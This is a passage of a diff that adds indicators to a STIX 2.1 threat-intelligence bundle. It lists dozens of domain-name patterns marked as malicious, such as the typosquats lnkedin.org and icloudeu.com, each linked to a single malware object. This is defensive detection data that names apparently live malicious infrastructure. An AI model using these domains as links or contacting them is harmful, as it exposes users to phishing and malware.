"[domain-name:value='fbc8213450838f7ae251d4519c195138.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.259287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9034d80e-75c3-4a15-97a0-4c3d70222076", + "created": "2023-07-28T12:14:36.259556Z", + "modified": "2023-07-28T12:14:36.259556Z", + "relationship_type": "indicates", + "source_ref": "indicator--81b98c65-1fc0-45ad-ab43-0841c803ca65", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1d64917-4ed6-4270-88d8-828bb22ffd7e", + "created": "2023-07-28T12:14:36.259629Z", + "modified": "2023-07-28T12:14:36.259629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='itly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.259629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ed65cd5-4864-4201-858e-301d4164fe93", + "created": "2023-07-28T12:14:36.259853Z", + "modified": "2023-07-28T12:14:36.259853Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1d64917-4ed6-4270-88d8-828bb22ffd7e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3b72501-650f-4360-8a02-514b32674346", + "created": "2023-07-28T12:14:36.259925Z", + "modified": "2023-07-28T12:14:36.259925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sepenet.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.259925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7e76f7c-13b7-47e8-aa67-c1e000c0c344", + "created": "2023-07-28T12:14:36.260149Z", + "modified": "2023-07-28T12:14:36.260149Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3b72501-650f-4360-8a02-514b32674346", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3965dda3-02f3-4de9-9b54-e8ac32b58104", + "created": "2023-07-28T12:14:36.260221Z", + "modified": "2023-07-28T12:14:36.260221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teslal.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.260221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c44413d-0815-479e-9eaf-048e1498205c", + "created": "2023-07-28T12:14:36.260442Z", + "modified": "2023-07-28T12:14:36.260442Z", + "relationship_type": "indicates", + "source_ref": "indicator--3965dda3-02f3-4de9-9b54-e8ac32b58104", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30df1409-ed60-4502-be11-271f8a441e30", + "created": "2023-07-28T12:14:36.260519Z", + "modified": "2023-07-28T12:14:36.260519Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sextape225.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.260519Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1af78b54-9c95-4f01-8e43-0cb9780d9965", + "created": "2023-07-28T12:14:36.26074Z", + "modified": "2023-07-28T12:14:36.26074Z", + "relationship_type": "indicates", + "source_ref": "indicator--30df1409-ed60-4502-be11-271f8a441e30", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c88631a3-cdc2-4aa5-991d-faad7ccc5310", + "created": "2023-07-28T12:14:36.260811Z", + "modified": "2023-07-28T12:14:36.260811Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.260811Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4fcbf49-e061-4e48-8103-fce8bb5e24f4", + "created": "2023-07-28T12:14:36.261039Z", + "modified": "2023-07-28T12:14:36.261039Z", + "relationship_type": "indicates", + "source_ref": "indicator--c88631a3-cdc2-4aa5-991d-faad7ccc5310", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2c110a5-7b8a-452a-b8c0-8ae91bb190ac", + "created": "2023-07-28T12:14:36.261115Z", + "modified": "2023-07-28T12:14:36.261115Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectivitychecker.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.261115Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b335b0b9-2c89-41e2-b8c5-7cb479711df6", + "created": "2023-07-28T12:14:36.261348Z", + "modified": "2023-07-28T12:14:36.261348Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2c110a5-7b8a-452a-b8c0-8ae91bb190ac", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b3192319-131b-42c5-ad78-e06cc37ddd06", + "created": "2023-07-28T12:14:36.261426Z", + "modified": "2023-07-28T12:14:36.261426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hopnope.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.261426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--46225ad1-c1c7-4f2a-ba76-5401c8c1e356", + "created": "2023-07-28T12:14:36.261651Z", + "modified": "2023-07-28T12:14:36.261651Z", + "relationship_type": "indicates", + "source_ref": "indicator--b3192319-131b-42c5-ad78-e06cc37ddd06", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a8b3131-7948-4e14-b0b9-72f96bda3b40", + "created": "2023-07-28T12:14:36.261725Z", + "modified": "2023-07-28T12:14:36.261725Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timeupdate.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.261725Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d980a0a-7b4c-49ae-b9b4-a41f5860dce5", + "created": "2023-07-28T12:14:36.261947Z", + "modified": "2023-07-28T12:14:36.261947Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a8b3131-7948-4e14-b0b9-72f96bda3b40", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7602a7f3-6e57-496c-afd5-e5783d89a133", + "created": "2023-07-28T12:14:36.262017Z", + "modified": "2023-07-28T12:14:36.262017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lnkedin.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.262017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49f394cc-833c-42b3-a13a-5ebf26fb0c45", + "created": "2023-07-28T12:14:36.262302Z", + "modified": "2023-07-28T12:14:36.262302Z", + "relationship_type": "indicates", + "source_ref": "indicator--7602a7f3-6e57-496c-afd5-e5783d89a133", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da5f2baa-fa7e-4025-9582-b802cd74e4b3", + "created": "2023-07-28T12:14:36.262374Z", + "modified": "2023-07-28T12:14:36.262374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oilgy.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.262374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b50aa6e-1834-4836-bc0d-7502e1ed0387", + "created": "2023-07-28T12:14:36.262591Z", + "modified": "2023-07-28T12:14:36.262591Z", + "relationship_type": "indicates", + "source_ref": "indicator--da5f2baa-fa7e-4025-9582-b802cd74e4b3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9db464d0-2012-41d3-8ce3-a94b6272b77b", + "created": "2023-07-28T12:14:36.262662Z", + "modified": "2023-07-28T12:14:36.262662Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinyulrs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.262662Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--54a529e3-80b2-49a0-9107-6a2bc09ef527", + "created": "2023-07-28T12:14:36.26288Z", + "modified": "2023-07-28T12:14:36.26288Z", + "relationship_type": "indicates", + "source_ref": "indicator--9db464d0-2012-41d3-8ce3-a94b6272b77b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b1054a2-c059-4ca0-bd79-2859c43ad21c", + "created": "2023-07-28T12:14:36.262951Z", + "modified": "2023-07-28T12:14:36.262951Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icloudeu.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.262951Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5fe7271-9167-4ffc-ab7e-e8ee7504385f", + "created": "2023-07-28T12:14:36.263178Z", + "modified": "2023-07-28T12:14:36.263178Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b1054a2-c059-4ca0-bd79-2859c43ad21c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57f645ec-7897-4537-aa28-430615617893", + "created": "2023-07-28T12:14:36.26325Z", + "modified": "2023-07-28T12:14:36.26325Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='omanreal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.26325Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--954bad89-0702-49c2-941a-d1a1196deb17", + "created": "2023-07-28T12:14:36.263472Z", + "modified": "2023-07-28T12:14:36.263472Z", + "relationship_type": "indicates", + "source_ref": "indicator--57f645ec-7897-4537-aa28-430615617893", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3b31830-1e3c-4d29-879c-8cf6a79fec1e", + "created": "2023-07-28T12:14:36.263548Z", + "modified": "2023-07-28T12:14:36.263548Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='api-apple-buy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.263548Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5873bb7d-2292-4c60-b25b-3a6c3817877c", + "created": "2023-07-28T12:14:36.263771Z", + "modified": "2023-07-28T12:14:36.263771Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3b31830-1e3c-4d29-879c-8cf6a79fec1e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c8cbbca-5bfd-4d43-8b5f-02bada6b9699", + "created": "2023-07-28T12:14:36.263842Z", + "modified": "2023-07-28T12:14:36.263842Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lifestyleshops.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.263842Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--25adb53c-2a4d-445d-b3b3-0576bc4b47c1", + "created": "2023-07-28T12:14:36.264066Z", + "modified": "2023-07-28T12:14:36.264066Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c8cbbca-5bfd-4d43-8b5f-02bada6b9699", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4abceff3-67ce-4fe1-b58c-b372bfe6d1ab", + "created": "2023-07-28T12:14:36.264137Z", + "modified": "2023-07-28T12:14:36.264137Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snapfire.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.264137Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37428152-34d5-429f-86d7-5897e766b883", + "created": "2023-07-28T12:14:36.264356Z", + "modified": "2023-07-28T12:14:36.264356Z", + "relationship_type": "indicates", + "source_ref": "indicator--4abceff3-67ce-4fe1-b58c-b372bfe6d1ab", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e6b0df34-2353-48e5-a5be-5a350cdba2b2", + "created": "2023-07-28T12:14:36.264427Z", + "modified": "2023-07-28T12:14:36.264427Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nikjol.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.264427Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--51b73a26-c699-4f07-b4d9-9218a399c936", + "created": "2023-07-28T12:14:36.264648Z", + "modified": "2023-07-28T12:14:36.264648Z", + "relationship_type": "indicates", + "source_ref": "indicator--e6b0df34-2353-48e5-a5be-5a350cdba2b2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3707033d-626e-464b-9a65-37795a37a3f4", + "created": "2023-07-28T12:14:36.264733Z", + "modified": "2023-07-28T12:14:36.264733Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solargroup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.264733Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa91f896-430f-4a26-a32b-390037fbd2f3", + "created": "2023-07-28T12:14:36.265016Z", + "modified": "2023-07-28T12:14:36.265016Z", + "relationship_type": "indicates", + "source_ref": "indicator--3707033d-626e-464b-9a65-37795a37a3f4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b643d97-96dd-458c-90f3-533ba9261067", + "created": "2023-07-28T12:14:36.26509Z", + "modified": "2023-07-28T12:14:36.26509Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortwidgets.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.26509Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--46c2f4b0-62ce-4e59-b72a-2a870f10cd32", + "created": "2023-07-28T12:14:36.265315Z", + "modified": "2023-07-28T12:14:36.265315Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b643d97-96dd-458c-90f3-533ba9261067", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d78e78f6-e23a-4fa7-9812-41adfd506229", + "created": "2023-07-28T12:14:36.265387Z", + "modified": "2023-07-28T12:14:36.265387Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nemshi.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.265387Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd81c067-bbec-40e6-b5e3-2cbb479db35e", + "created": "2023-07-28T12:14:36.265613Z", + "modified": "2023-07-28T12:14:36.265613Z", + "relationship_type": "indicates", + "source_ref": "indicator--d78e78f6-e23a-4fa7-9812-41adfd506229", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b0a9521-6e49-41d8-afb5-cc5effe446dc", + "created": "2023-07-28T12:14:36.26569Z", + "modified": "2023-07-28T12:14:36.26569Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timeupdateservice.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.26569Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7056e987-915d-410b-94ba-523e33d8a66a", + "created": "2023-07-28T12:14:36.265915Z", + "modified": "2023-07-28T12:14:36.265915Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b0a9521-6e49-41d8-afb5-cc5effe446dc", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3a3c4f39-e7aa-419d-8f05-08c3abccda57", + "created": "2023-07-28T12:14:36.265986Z", + "modified": "2023-07-28T12:14:36.265986Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shorten.fi']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.265986Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a901bc89-1f66-4602-85ad-14384cfd6bde", + "created": "2023-07-28T12:14:36.266206Z", + "modified": "2023-07-28T12:14:36.266206Z", + "relationship_type": "indicates", + "source_ref": "indicator--3a3c4f39-e7aa-419d-8f05-08c3abccda57", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--315530e0-6acd-43e0-a76b-28cd45db81ee", + "created": "2023-07-28T12:14:36.266283Z", + "modified": "2023-07-28T12:14:36.266283Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mywebsitevpstest.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.266283Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c5f25ac-9f52-48c1-9d48-ebc85b8070ad", + "created": "2023-07-28T12:14:36.266513Z", + "modified": "2023-07-28T12:14:36.266513Z", + "relationship_type": "indicates", + "source_ref": "indicator--315530e0-6acd-43e0-a76b-28cd45db81ee", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f6681095-d5f3-4a76-bcb3-f064e81b9aa6", + "created": "2023-07-28T12:14:36.266588Z", + "modified": "2023-07-28T12:14:36.266588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='audit-pvv.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.266588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7e26b6e-2538-45f1-80a6-2289dd389517", + "created": "2023-07-28T12:14:36.266806Z", + "modified": "2023-07-28T12:14:36.266806Z", + "relationship_type": "indicates", + "source_ref": "indicator--f6681095-d5f3-4a76-bcb3-f064e81b9aa6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad779300-ce3b-4192-b246-f3504fd29674", + "created": "2023-07-28T12:14:36.266878Z", + "modified": "2023-07-28T12:14:36.266878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nemshi-news.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.266878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1faaced-4874-4b2d-9d60-3f3c9f5bcc5f", + "created": "2023-07-28T12:14:36.267098Z", + "modified": "2023-07-28T12:14:36.267098Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad779300-ce3b-4192-b246-f3504fd29674", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--761c71da-5256-41e9-8a2c-9e7ca5702e12", + "created": "2023-07-28T12:14:36.267169Z", + "modified": "2023-07-28T12:14:36.267169Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='simetricode.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.267169Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--966ff38a-85b5-410f-a4bd-c45649cf5b82", + "created": "2023-07-28T12:14:36.267392Z", + "modified": "2023-07-28T12:14:36.267392Z", + "relationship_type": "indicates", + "source_ref": "indicator--761c71da-5256-41e9-8a2c-9e7ca5702e12", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e2513ae-93af-4866-afd1-5d8bd298c543", + "created": "2023-07-28T12:14:36.267465Z", + "modified": "2023-07-28T12:14:36.267465Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cut.red']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.267465Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3a12dae-6067-4935-8b8b-b0bb972460cb", + "created": "2023-07-28T12:14:36.267682Z", + "modified": "2023-07-28T12:14:36.267682Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e2513ae-93af-4866-afd1-5d8bd298c543", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee44ac98-078a-45d0-b56e-dba6a0f40071", + "created": "2023-07-28T12:14:36.267753Z", + "modified": "2023-07-28T12:14:36.267753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yo.utube.to']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.267753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ded685bf-20c0-4406-b04f-1789df6ee7a0", + "created": "2023-07-28T12:14:36.268035Z", + "modified": "2023-07-28T12:14:36.268035Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee44ac98-078a-45d0-b56e-dba6a0f40071", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3f11f2ed-d17b-4336-9ae7-71dedfade4b6", + "created": "2023-07-28T12:14:36.268107Z", + "modified": "2023-07-28T12:14:36.268107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wtc1111.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.268107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f08e39ec-14f1-4a8f-9a71-2b3402ec74d3", + "created": "2023-07-28T12:14:36.268326Z", + "modified": "2023-07-28T12:14:36.268326Z", + "relationship_type": "indicates", + "source_ref": "indicator--3f11f2ed-d17b-4336-9ae7-71dedfade4b6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d079b19b-f257-4e10-ba66-cc5cba47093b", + "created": "2023-07-28T12:14:36.268398Z", + "modified": "2023-07-28T12:14:36.268398Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amazing.lab']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.268398Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a8173383-fd42-4bf3-9538-5fff7542170e", + "created": "2023-07-28T12:14:36.268618Z", + "modified": "2023-07-28T12:14:36.268618Z", + "relationship_type": "indicates", + "source_ref": "indicator--d079b19b-f257-4e10-ba66-cc5cba47093b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a55bdff-ff76-40c4-b77b-da9cca5b509e", + "created": "2023-07-28T12:14:36.268689Z", + "modified": "2023-07-28T12:14:36.268689Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trecvf.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.268689Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dee19b3f-8bf5-4078-87d9-9781915bc425", + "created": "2023-07-28T12:14:36.268908Z", + "modified": "2023-07-28T12:14:36.268908Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a55bdff-ff76-40c4-b77b-da9cca5b509e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5c80c371-8877-4189-be3b-9b12fad53871", + "created": "2023-07-28T12:14:36.268979Z", + "modified": "2023-07-28T12:14:36.268979Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bity.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.268979Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--501226f7-0c8d-4f6f-96e2-fa36c1d5a7ff", + "created": "2023-07-28T12:14:36.269196Z", + "modified": "2023-07-28T12:14:36.269196Z", + "relationship_type": "indicates", + "source_ref": "indicator--5c80c371-8877-4189-be3b-9b12fad53871", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--813f61c0-2caf-46b4-9ba9-5cbfae60a6e8", + "created": "2023-07-28T12:14:36.269266Z", + "modified": "2023-07-28T12:14:36.269266Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sinai-new.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.269266Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2b167cb-793e-4bdc-a795-bbe7505b2cd5", + "created": "2023-07-28T12:14:36.269487Z", + "modified": "2023-07-28T12:14:36.269487Z", + "relationship_type": "indicates", + "source_ref": "indicator--813f61c0-2caf-46b4-9ba9-5cbfae60a6e8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37e33e62-cac0-4ee4-b57a-8f744eaf69c1", + "created": "2023-07-28T12:14:36.269558Z", + "modified": "2023-07-28T12:14:36.269558Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adibjan.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.269558Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c39717f-6fad-4410-9c74-7407379d67e7", + "created": "2023-07-28T12:14:36.269775Z", + "modified": "2023-07-28T12:14:36.269775Z", + "relationship_type": "indicates", + "source_ref": "indicator--37e33e62-cac0-4ee4-b57a-8f744eaf69c1", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1cd3043-4361-46c5-ad23-0a90a2657c78", + "created": "2023-07-28T12:14:36.269846Z", + "modified": "2023-07-28T12:14:36.269846Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='distedc.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.269846Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fce5112a-892c-4faf-9d77-315d7cc5466f", + "created": "2023-07-28T12:14:36.270094Z", + "modified": "2023-07-28T12:14:36.270094Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1cd3043-4361-46c5-ad23-0a90a2657c78", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24c61c2c-b47d-49ba-9500-6135a1fe2ae0", + "created": "2023-07-28T12:14:36.270166Z", + "modified": "2023-07-28T12:14:36.270166Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playestore.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.270166Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9301a0d4-d371-477e-b9bd-12adaf3991d9", + "created": "2023-07-28T12:14:36.270388Z", + "modified": "2023-07-28T12:14:36.270388Z", + "relationship_type": "indicates", + "source_ref": "indicator--24c61c2c-b47d-49ba-9500-6135a1fe2ae0", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ab67551-970f-4bd1-825f-9ce473ba62e8", + "created": "2023-07-28T12:14:36.270459Z", + "modified": 